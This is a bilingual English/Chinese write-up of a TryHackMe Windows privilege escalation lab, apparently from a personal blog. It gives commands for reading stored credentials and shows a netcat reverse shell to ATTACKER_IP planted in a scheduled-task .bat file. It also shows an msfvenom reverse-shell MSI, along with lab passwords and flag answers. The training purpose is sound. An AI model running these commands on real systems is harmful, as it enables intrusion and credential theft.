&lt;th align=&quot;center&quot;&gt;These users have the most privileges. They can change any system configuration parameter and access any file in the system.   这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Standard Users&lt;/strong&gt;** **&lt;strong&gt;标准用户&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;These users can access the computer but only perform limited tasks. Typically these users can not make permanent or essential changes to the system and are limited to their files.   这些用户可以访问计算机，但只能执行有限的任务。通常，这些用户无法对系统进行永久性或必要的更改，并且仅限于其文件。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Any user with administrative privileges will be part of the &lt;strong&gt;Administrators&lt;/strong&gt; group. On the other hand, standard users are part of the &lt;strong&gt;Users&lt;/strong&gt; group.&lt;br&gt;任何具有管理权限的用户都将成为 Administrators 组的一部分。另一方面，标准用户是用户组的一部分。&lt;/p&gt;
&lt;p&gt;In addition to that, you will usually hear about some special built-in accounts used by the operating system in the context of privilege escalation:&lt;br&gt;除此之外，您通常会听到操作系统在权限升级上下文中使用的一些特殊内置帐户：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;SYSTEM / LocalSystem&lt;/strong&gt;** **&lt;strong&gt;系统 / 本地系统&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;An account used by the operating system to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than administrators.   操作系统用于执行内部任务的帐户。它具有对主机上所有可用文件和资源的完全访问权限，其权限甚至高于管理员。&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Local Service&lt;/strong&gt;** **&lt;strong&gt;本地服务&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Default account used to run Windows services with &amp;quot;minimum&amp;quot; privileges. It will use anonymous connections over the network.   用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Network Service&lt;/strong&gt;** **&lt;strong&gt;网络服务&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Default account used to run Windows services with &amp;quot;minimum&amp;quot; privileges. It will use the computer credentials to authenticate through the network.   用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;These accounts are created and managed by Windows, and you won&amp;#39;t be able to use them as other regular accounts. Still, in some situations, you may gain their privileges due to exploiting specific services.&lt;br&gt;这些帐户由 Windows 创建和管理，你无法将它们用作其他常规帐户。不过，在某些情况下，您可能会因利用特定服务而获得他们的特权。  &lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Users that can change system configurations are part of which group?&lt;br&gt;可以更改系统配置的用户属于哪个组？&lt;/p&gt;
&lt;p&gt;Administrator&lt;/p&gt;
&lt;p&gt;The SYSTEM account has more privileges than the Administrator user (aye/nay)&lt;br&gt;SYSTEM 帐户比管理员用户具有更多的权限（是/否）&lt;/p&gt;
&lt;p&gt;aye&lt;/p&gt;
&lt;h1&gt;Harvesting Passwords from Usual Spots&lt;/h1&gt;
&lt;p&gt;The easiest way to gain access to another user is to gather credentials from a compromised machine. Such credentials could exist for many reasons, including a careless user leaving them around in plaintext files; or even stored by some software like browsers or email clients.&lt;br&gt;获取其他用户访问权限的最简单方法是从受感染的计算机收集凭据。此类凭据的存在可能有很多原因，包括粗心的用户将它们留在明文文件中;甚至由浏览器或电子邮件客户端等某些软件存储。
This task will present some known places to look for passwords on a Windows system.&lt;br&gt;此任务将提供一些在 Windows 系统上查找密码的已知位置。&lt;/p&gt;
&lt;p&gt;Before going into the task, remember to click the &lt;strong&gt;Start Machine&lt;/strong&gt; button. You will be using the same machine throughout tasks 3 to 5. If you are using the &lt;strong&gt;AttackBox&lt;/strong&gt;, this is also a good moment to start it as you&amp;#39;ll be needing it for the following tasks.&lt;br&gt;在开始执行任务之前，请记住单击“启动计算机”按钮。您将在整个任务 3 到 5 中使用同一台机器。如果您使用的是 AttackBox，这也是启动它的好时机，因为您将需要它来执行以下任务。&lt;/p&gt;
&lt;p&gt;In case you prefer connecting to the target machine via &lt;u&gt;RDP&lt;/u&gt;, you can use the following credentials:&lt;br&gt;如果希望通过 RDP 连接到目标计算机，可以使用以下凭据：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User:&lt;/strong&gt; &lt;strong&gt;thm-unpriv&lt;/strong&gt; 用户： &lt;strong&gt;thm-unpriv&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;strong&gt;Password321&lt;/strong&gt; 密码： &lt;strong&gt;Password321&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Unattended Windows Installations(无人参与的 Windows 安装)&lt;/h2&gt;
&lt;p&gt;When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don&amp;#39;t require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:&lt;br&gt;在大量主机上安装 Windows 时，管理员可以使用 Windows 部署服务，它允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人参与安装，因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置，该设置最终可能会存储在计算机的以下位置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;C:\Unattend.xml C：\Unattend.xml&lt;/li&gt;
&lt;li&gt;C:\Windows\Panther\Unattend.xml&lt;br&gt;C：\Windows\Panther\Unattend.xml&lt;/li&gt;
&lt;li&gt;C:\Windows\Panther\Unattend\Unattend.xml&lt;br&gt;C：\Windows\Panther\无人值守\Unattend.xml&lt;/li&gt;
&lt;li&gt;C:\Windows\system32\sysprep.inf&lt;br&gt;C：\Windows\system32\sysprep.inf&lt;/li&gt;
&lt;li&gt;C:\Windows\system32\sysprep\sysprep.xml&lt;br&gt;C：\Windows\system32\sysprep\sysprep.xml&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As part of these files, you might encounter credentials:&lt;br&gt;作为这些文件的一部分，您可能会遇到凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;Credentials&amp;gt;
    &amp;lt;Username&amp;gt;Administrator&amp;lt;/Username&amp;gt;
    &amp;lt;Domain&amp;gt;thm.local&amp;lt;/Domain&amp;gt;
    &amp;lt;Password&amp;gt;MyPassword123&amp;lt;/Password&amp;gt;
&amp;lt;/Credentials&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Powershell History Powershell 历史记录&lt;/h2&gt;
&lt;p&gt;Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a &lt;strong&gt;cmd.exe&lt;/strong&gt; prompt:&lt;br&gt;每当用户使用 Powershell 运行命令时，该命令都会存储到一个文件中，该文件会保留过去命令的内存。这对于快速重复您以前使用过的命令很有用。如果用户运行的命令直接将密码作为 Powershell 命令行的一部分，则稍后可以使用 &lt;strong&gt;cmd.exe&lt;/strong&gt; 提示符中的以下命令检索该命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The command above will only work from cmd.exe, as Powershell won&amp;#39;t recognize &lt;strong&gt;%userprofile%&lt;/strong&gt; as an environment variable. To read the file from Powershell, you&amp;#39;d have to replace &lt;strong&gt;%userprofile%&lt;/strong&gt; with &lt;strong&gt;$Env:userprofile&lt;/strong&gt;.&lt;br&gt;注意：上述命令仅在cmd.exe中起作用，因为 Powershell 不会识别 &lt;strong&gt;%userprofile%&lt;/strong&gt; 为环境变量。若要从 Powershell 读取文件，必须替换 &lt;strong&gt;%userprofile%&lt;/strong&gt; 为 &lt;strong&gt;$Env:userprofile&lt;/strong&gt; .&lt;/p&gt;
&lt;h2&gt;Saved Windows Credentials&lt;/h2&gt;
&lt;p&gt;保存的 Windows 凭据
Windows allows us to use other users&amp;#39; credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:&lt;br&gt;Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。以下命令将列出已保存的凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cmdkey /list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While you can&amp;#39;t see the actual passwords, if you notice any credentials worth trying, you can use them with the &lt;strong&gt;runas&lt;/strong&gt; command and the &lt;strong&gt;/savecred&lt;/strong&gt; option, as seen below.&lt;br&gt;虽然您看不到实际的密码，但如果您发现任何值得尝试的凭据，则可以将它们与 &lt;strong&gt;runas&lt;/strong&gt; 命令和 &lt;strong&gt;/savecred&lt;/strong&gt; 选项一起使用，如下所示。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;runas /savecred /user:admin cmd.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IIS Configuration IIS 配置&lt;/h2&gt;
&lt;p&gt;Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called &lt;strong&gt;web.config&lt;/strong&gt; and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:&lt;br&gt;Internet Information Services （IIS） 是 Windows 安装上的默认 Web 服务器。IIS 上的网站配置存储在一个名为 &lt;strong&gt;web.config&lt;/strong&gt; 的文件中，该文件可以存储数据库的密码或配置的身份验证机制。根据已安装的 IIS 版本，我们可以在以下位置之一找到 web.config：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;C:\inetpub\wwwroot\web.config&lt;br&gt;C：\inetpub\wwwroot\web.config&lt;/li&gt;
&lt;li&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config&lt;br&gt;C：\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is a quick way to find database connection strings on the file:&lt;br&gt;下面是在文件上查找数据库连接字符串的快速方法：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Retrieve Credentials from Software: PuTTY&lt;/h2&gt;
&lt;p&gt;从软件中检索凭据：PuTTY
PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection&amp;#39;s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won&amp;#39;t allow users to store their &lt;u&gt;SSH&lt;/u&gt; password, it will store proxy configurations that include cleartext authentication credentials.&lt;br&gt;PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接的参数，而是可以存储会话，其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码，但它将存储包含明文身份验证凭据的代理配置。&lt;/p&gt;
&lt;p&gt;To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:&lt;br&gt;若要检索存储的代理凭据，可以使用以下命令在以下注册表项下搜索 ProxyPassword：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f &amp;quot;Proxy&amp;quot; /s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Simon Tatham is the creator of PuTTY (and his name is part of the path), not the username for which we are retrieving the password. The stored proxy username should also be visible after running the command above.&lt;br&gt;注意：Simon Tatham 是 PuTTY 的创建者（他的名字是路径的一部分），而不是我们检索密码的用户名。运行上述命令后，存储的代理用户名也应该可见。&lt;/p&gt;
&lt;p&gt;Just as putty stores credentials, any software that stores passwords, including browsers, email clients, &lt;u&gt;FTP&lt;/u&gt; clients, &lt;u&gt;SSH&lt;/u&gt; clients, VNC software and others, will have methods to recover any passwords the user has saved.&lt;br&gt;就像 putty 存储凭据一样，任何存储密码的软件，包括浏览器、电子邮件客户端、FTP 客户端、SSH 客户端、VNC 软件等，都将有方法来恢复用户保存的任何密码。&lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;A password for the julia.jones user has been left on the Powershell history. What is the password?&lt;br&gt;julia.jones 用户的密码已保留在 Powershell 历史记录中。密码是什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ls&lt;/p&gt;
&lt;p&gt;whoami&lt;/p&gt;
&lt;p&gt;whoami /priv&lt;/p&gt;
&lt;p&gt;whoami /group&lt;/p&gt;
&lt;p&gt;whoami /groups&lt;/p&gt;
&lt;p&gt;cmdkey /?&lt;/p&gt;
&lt;p&gt;cmdkey /add:thmdc.local /user:julia.jones /pass:ZuperCkretPa5z&lt;/p&gt;
&lt;p&gt;cmdkey /list&lt;/p&gt;
&lt;p&gt;cmdkey /delete:thmdc.local&lt;/p&gt;
&lt;p&gt;cmdkey /list&lt;/p&gt;
&lt;p&gt;runas /?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;**A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?&lt;br&gt;**&lt;strong&gt;远程主机上正在运行 Web 服务器。在与 IIS 关联的 web.config 文件上查找任何有趣的密码。db_admin用户的密码是什么？&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C:\Users\thm-unpriv&amp;gt;type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;            &amp;lt;add connectionStringName=&amp;quot;LocalSqlServer&amp;quot; maxEventDetailsLength=&amp;quot;1073741823&amp;quot; buffer=&amp;quot;false&amp;quot; bufferMode=&amp;quot;Notification&amp;quot; name=&amp;quot;SqlWebEventProvider&amp;quot; type=&amp;quot;System.Web.Management.SqlWebEventProvider,System.Web,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a&amp;quot; /&amp;gt;

                &amp;lt;add connectionStringName=&amp;quot;LocalSqlServer&amp;quot; name=&amp;quot;AspNetSqlPersonalizationProvider&amp;quot; type=&amp;quot;System.Web.UI.WebControls.WebParts.SqlPersonalizationProvider, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&amp;quot; /&amp;gt;

&amp;lt;connectionStrings&amp;gt;

    &amp;lt;add connectionString=&amp;quot;Server=thm-db.local;Database=thm-sekure;User ID=db_admin;Password=098n0x35skjD3&amp;quot; name=&amp;quot;THM-DB&amp;quot; /&amp;gt;

&amp;lt;/connectionStrings&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.&lt;br&gt;您的 Windows 凭据上有一个保存的密码。使用 cmdkey 和 runas，为 mike.katz 生成一个 shell，并从他的桌面上检索标志。&lt;/p&gt;
&lt;p&gt;利用runas /savecred /user:mike.katz cmd.exe&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?&lt;br&gt;检索存储在配置文件下保存的 PuTTY 会话中的已保存密码。thom.smith 用户的密码是什么？&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f &amp;quot;Proxy&amp;quot; /s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到密码&lt;/p&gt;
&lt;h1&gt;Other Quick Wins&lt;/h1&gt;
&lt;p&gt;Privilege escalation is not always a challenge. Some misconfigurations can allow you to obtain higher privileged user access and, in some cases, even administrator access. It would help if you considered these to belong more to the realm of CTF events rather than scenarios you will encounter during real penetration testing engagements. However, if none of the previously mentioned methods works, you can always go back to these.&lt;br&gt;权限升级并不总是一个挑战。某些错误配置可能允许您获得更高特权的用户访问权限，在某些情况下，甚至可以获得管理员访问权限。如果您认为这些事件更多地属于 CTF 事件的领域，而不是您在实际渗透测试活动中会遇到的场景，那将会有所帮助。但是，如果前面提到的方法都不起作用，您可以随时返回这些方法。&lt;/p&gt;
&lt;h2&gt;Scheduled Tasks 计划任务&lt;/h2&gt;
&lt;p&gt;Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it&amp;#39;s using a binary you can modify.&lt;br&gt;查看目标系统上的计划任务时，您可能会看到一个计划任务丢失了其二进制文件，或者它正在使用可以修改的二进制文件。&lt;/p&gt;
&lt;p&gt;Scheduled tasks can be listed from the command line using the &lt;strong&gt;schtasks&lt;/strong&gt; command without any options. To retrieve detailed information about any of the services, you can use a command like the following one:&lt;br&gt;可以使用不 &lt;strong&gt;schtasks&lt;/strong&gt; 带任何选项的命令从命令行列出计划任务。若要检索有关任何服务的详细信息，可以使用如下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; schtasks /query /tn vulntask /fo list /v
Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You will get lots of information about the task, but what matters for us is the &amp;quot;Task to Run&amp;quot; parameter which indicates what gets executed by the scheduled task, and the &amp;quot;Run As User&amp;quot; parameter, which shows the user that will be used to execute the task.&lt;br&gt;您将获得有关任务的大量信息，但对我们来说重要的是“要运行的任务”参数，该参数指示计划任务执行的内容，以及“以用户身份运行”参数，该参数显示将用于执行任务的用户。&lt;/p&gt;
&lt;p&gt;If our current user can modify or overwrite the &amp;quot;Task to Run&amp;quot; executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use &lt;strong&gt;icacls&lt;/strong&gt;:&lt;br&gt;如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件，我们可以控制 taskusr1 用户执行的内容，从而实现简单的权限提升。为了检查可执行文件的文件权限，我们使用 &lt;strong&gt;icacls&lt;/strong&gt; ：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;As can be seen in the result, the &lt;strong&gt;BUILTIN\Users&lt;/strong&gt; group has full access (F) over the task&amp;#39;s binary. This means we can modify the .bat file and insert any payload we like. For your convenience, &lt;strong&gt;nc64.exe&lt;/strong&gt; can be found on &lt;strong&gt;C:\tools&lt;/strong&gt;. Let&amp;#39;s change the bat file to spawn a reverse shell:&lt;br&gt;从结果中可以看出，BUILTIN\Users 组对任务的二进制文件具有完全访问权限 （F）。这意味着我们可以修改.bat文件并插入我们喜欢的任何有效负载。为方便起见， &lt;strong&gt;nc64.exe&lt;/strong&gt; 可以在 &lt;strong&gt;C:\tools&lt;/strong&gt; 上找到。让我们更改 bat 文件以生成一个反向 shell：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;We then start a listener on the attacker machine on the same port we indicated on our reverse shell:&lt;br&gt;然后，我们在攻击者机器上启动一个侦听器，该端口位于我们在反向 shell 上指示的同一端口上：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 &amp;gt; C:\tasks\schtask.bat
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nc -lvp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The next time the scheduled task runs, you should receive the reverse shell with taskusr1 privileges. While you probably wouldn&amp;#39;t be able to start the task in a real scenario and would have to wait for the scheduled task to trigger, we have provided your user with permissions to start the task manually to save you some time. We can run the task with the following command:&lt;br&gt;下次运行计划任务时，您应会收到具有 taskusr1 权限的反向 shell。虽然你可能无法在实际方案中启动任务，并且必须等待计划的任务触发，但我们已为用户提供了手动启动任务的权限，以节省一些时间。我们可以使用以下命令运行该任务：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;And you will receive the reverse shell with taskusr1 privileges as expected:&lt;br&gt;您将收到具有 taskusr1 权限的反向 shell，正如预期的那样：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Go to taskusr1 desktop to retrieve a flag. Don&amp;#39;t forget to input the flag at the end of this task.&lt;br&gt;转到 taskusr1 桌面以检索标志。不要忘记在此任务结束时输入标志。&lt;/p&gt;
&lt;h2&gt;AlwaysInstallElevated&lt;/h2&gt;
&lt;p&gt;Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges.&lt;br&gt;Windows 安装程序文件（也称为.msi文件）用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是，可以将这些配置为从任何用户帐户（甚至是非特权帐户）以更高的权限运行。这可能允许我们生成一个恶意的 MSI 文件，该文件将以管理员权限运行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The AlwaysInstallElevated method won&amp;#39;t work on this room&amp;#39;s machine and it&amp;#39;s included as information only.&lt;br&gt;注意：AlwaysInstallElevated 方法不适用于此会议室的计算机，它仅作为信息包含在内。&lt;/p&gt;
&lt;p&gt;This method requires two registry values to be set. You can query these from the command line using the commands below.&lt;br&gt;此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;To be able to exploit this vulnerability, both should be set. Otherwise, exploitation will not be possible. If these are set, you can generate a malicious .msi file using &lt;strong&gt;msfvenom&lt;/strong&gt;, as seen below:&lt;br&gt;为了能够利用此漏洞，应同时设置两者。否则，将无法进行开发。如果设置了这些，则可以使用 &lt;strong&gt;msfvenom&lt;/strong&gt; 生成恶意.msi文件，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; schtasks /run /tn vulntask
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
wprivesc1\taskusr1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\&amp;gt; reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As this is a reverse shell, you should also run the &lt;u&gt;Metasploit&lt;/u&gt; Handler module configured accordingly. Once you have transferred the file you have created, you can run the installer with the command below and receive the reverse shell:&lt;br&gt;由于这是一个反向 shell，因此您还应该运行相应配置的 Metasploit Handler 模块。传输创建的文件后，可以使用以下命令运行安装程序并接收反向 shell：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What is the taskusr1 flag?&lt;br&gt;什么是 taskusr1 标志？&lt;/p&gt;
&lt;p&gt;按照步骤操作即可&lt;/p&gt;
&lt;p&gt;反弹shell后找到flag&lt;/p&gt;
&lt;p&gt;THM{TASK_COMPLETED}&lt;/p&gt;
&lt;h1&gt;Abusing Service Misconfigurations&lt;/h1&gt;
&lt;h2&gt;Windows Services Windows 服务&lt;/h2&gt;
&lt;p&gt;Windows services are managed by the &lt;strong&gt;Service Control Manager&lt;/strong&gt; (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services.&lt;br&gt;Windows 服务由服务控制管理器 （SCM） 管理。SCM 是一个进程，负责根据需要管理服务状态、检查任何给定服务的当前状态，并通常提供一种配置服务的方法。&lt;/p&gt;
&lt;p&gt;Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run.&lt;br&gt;Windows 计算机上的每个服务都有一个关联的可执行文件，每当启动服务时，SCM 都会运行该可执行文件。需要注意的是，服务可执行文件实现了能够与 SCM 通信的特殊功能，因此任何可执行文件都不能作为服务成功启动。每个服务还指定运行服务的用户帐户。&lt;/p&gt;
&lt;p&gt;To better understand the structure of a service, let&amp;#39;s check the apphostsvc service configuration with the &lt;strong&gt;sc qc&lt;/strong&gt; command:&lt;br&gt;为了更好地理解服务的结构，让我们使用以下 &lt;strong&gt;sc qc&lt;/strong&gt; 命令检查 apphostsvc 服务配置：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: apphostsvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k apphost
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Application Host Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : localSystem
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we can see that the associated executable is specified through the &lt;strong&gt;BINARY_PATH_NAME&lt;/strong&gt; parameter, and the account used to run the service is shown on the &lt;strong&gt;SERVICE_START_NAME&lt;/strong&gt; parameter.&lt;br&gt;在这里我们可以看到，关联的可执行文件是通过 BINARY_PATH_NAME 参数指定的，用于运行服务的帐户显示在 SERVICE_START_NAME 参数上。&lt;/p&gt;
&lt;p&gt;Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges. The DACL can be seen from Process Hacker (available on your machine&amp;#39;s desktop):&lt;br&gt;服务具有自由访问控制列表 （DACL），该列表指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限。DACL 可以从 Process Hacker（在您机器的桌面上可用）中看到：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-1.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;All of the services configurations are stored on the registry under *&lt;em&gt;HKLM\SYSTEM\CurrentControlSet\Services*&lt;/em&gt;:&lt;br&gt;所有服务配置都存储在注册表中，如下 *&lt;em&gt;HKLM\SYSTEM\CurrentControlSet\Services*&lt;/em&gt; 所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-2.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
